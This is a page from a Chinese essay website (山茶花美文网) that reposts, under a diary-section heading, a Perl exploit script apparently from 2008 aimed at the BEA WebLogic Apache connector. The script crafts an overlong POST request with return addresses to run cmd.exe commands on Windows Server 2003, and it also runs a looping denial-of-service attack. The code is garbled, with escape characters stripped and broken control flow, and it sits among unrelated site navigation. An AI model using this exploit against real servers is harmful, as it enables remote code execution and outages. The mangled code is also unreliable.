首页 爱情文章 亲情文章 友情文章 生活随笔 校园文章 经典文章 人生哲理 励志文章 搞笑文章 心情日记
  • 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
    •
    当前位置: 山茶花美文网 > 心情日记 > 正文

    [Bea,Weblogic,Apache,Connector,Code,Exec,/,Denial,of,Service,Exploit]of福币

    时间：2020-03-29来源：山茶花美文网 本文已影响 人 山茶花美文网手机站
    #// Bea Weblogic -- Apache Connector Remote Exploit -1day
    #// Should stack break latest Windows Server 2003
    #// BIG THANKS TO
    #// "dong-hun you"(Xpl017Elz) in INetCop - for his paper
    #// "Title: Advanced exploitation in exec-shield (Fedora Core case study)"
    #// His technique works fine against Windows 2003 latest version.
    #//
    #// The code is broken, since I am chilling out for now
    #// SKIDDI BULLETPROOF
    #// You may fixup the DoS Code, Windows Code Works on English OSs
    #// KingCope -- July/2008

    use IO::Socket;
    use strict;

    $|=1;
    my $apacheport = 80; #// Touch
    ###
    my $wrongusage = 0;
    my $dodoshost = 0;

    ###############################################################################
    ### Target List Entries |Operating System and Patch Level / Kernel Version|
    ###############################################################################
    my @targets = ();
    my @tgtname = ();
    print "-" x 80;
    $targets[0] = "1 Windows Server 2003 Enterprise Edition SP2 RC1 -- Englishn";
    $tgtname[0] = $targets[0];
    $targets[100] = "2 Denial of Servicen";
    $tgtname[100] = $targets[100];

    ###############################################################################
    ### Print Of Target List And Usage
    ###############################################################################
    print "n";

    print "Bea Weblogic -- Apache Connector Remote Exploitnn";
    print "Target List:n";

    foreach my $target (@targets) {
    print $target;
    }
    print "nn";
    print "-" x 80;
    print "Usage: perl bea-unlock.pl ";
    print "n";

    printusage:
    if ($wrongusage == 1) { exit; }

    ################################################################################
    ### Argument Parsing
    ################################################################################
    my $host = $ARGV[0];
    my $target = $ARGV[1];

    if (($host == "") || ($target == "")) {
    $wrongusage = 1;
    goto printusage;
    }

    ################################################################################
    ### Setup Socket
    ################################################################################
    setupsocket:
    my $sock = IO::Socket::INET->new(PeerAddr => $host,
    PeerPort => $apacheport,
    Proto => "tcp");
    if ($dodoshost == 1) {
    goto doshost;
    }
    ################################################################################
    ### Select Target
    ################################################################################
    if ($target == 1) {
    print "Exploiting $host -- " . $tgtname[$target-1];
    goto winexpl;
    }

    if ($target == 2) {
    print "Attacking Host $host -- Denial of Service -- Wait ...n";
    goto doshost;
    }

    ################################################################################
    ### Exploitation of Windows Versions
    ################################################################################
    winexpl:
    ####WORKS [LOOKUP THE HOSTNAME]
    my $command = "echo works > c:desiredfile.txt";

    my $cmds = "cmd.exe /c "$command"|";

    my $sc = $cmds;

    #### STACKBREAKING WITH WINEXEC() ON WINDOWS

    my $c = "C" x 97 . pack("L", 0x10013930) x 3 . pack("L", 0x10013930) . pack("L", 0x10013931) . pack("L",0x77EA411E);
    my $a = $cmds . "A" x (4000-length($cmds)) . $c;

    print $sock "POST /.jsp $arnHost: localhostrnrn";

    while () {
    print;
    }
    ################################################################################
    ### Denial of Service Against The Apache Frontend Module For Bea Weblogic
    ################################################################################
    ####NEEDS SOME FIXUP
    doshost:
    $dodoshost = 1;

    while(1) {
    $a = "A" x 6000;
    goto setupsocket;
    print $sock "POST /.jsp $arnrnHost: localhostrnrn";
    while(read($sock,$_,100)) {
    my $dosagain = 0;

    if ($dosagain eq 1) {
    "Server is down nown";
    exit;
    }

    if ($_ =~ /Server/) {
    print ".";
    $dosagain = 1;
    next;
    }
    }
    }

    • [Bea,Weblogic,Apache,Connector,Code,Exec,/,Denial,of,Service,Exploit]of福币 相关文章:
    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全

    最新文章

    热点文章

    推荐访问

    军训远足心得体会 军训爬山心得体会 大学军训徒步拉练感想 军训徒步作文 军训徒步10公里感想 军训徒步心得体会 5分钟演讲中秋节节日 中秋一分钟演讲 中秋节演讲稿4分钟 中秋节演讲稿一分钟 中秋节演讲稿五分钟 3-5分钟 中秋节短篇演讲稿 中秋节演讲稿两分钟 中秋节的演讲稿3分钟 关于中秋节的演讲稿三分钟 孩子体验军训的心得 参加孩子军训活动的感受与收获 家长对孩子军训后的收获和感悟 小孩军训的收获与感悟 学生军训的收获与感悟 孩子军训成长过程家长感悟 孩子军训感悟 孩子军训心得体会 孩子军训的收获与感悟 兵役前训练心得体会 部队当兵的心得 新兵役前教育训练心得体会 预备役军训心得体会 新兵军训感悟

    本文[Bea,Weblogic,Apache,Connector,Code,Exec,/,Denial,of,Service,Exploit]of福币由山茶花美文网整理提供，版权归原作者、原出处所有。

    Copyright © 山茶花美文网 All Rights Reserved.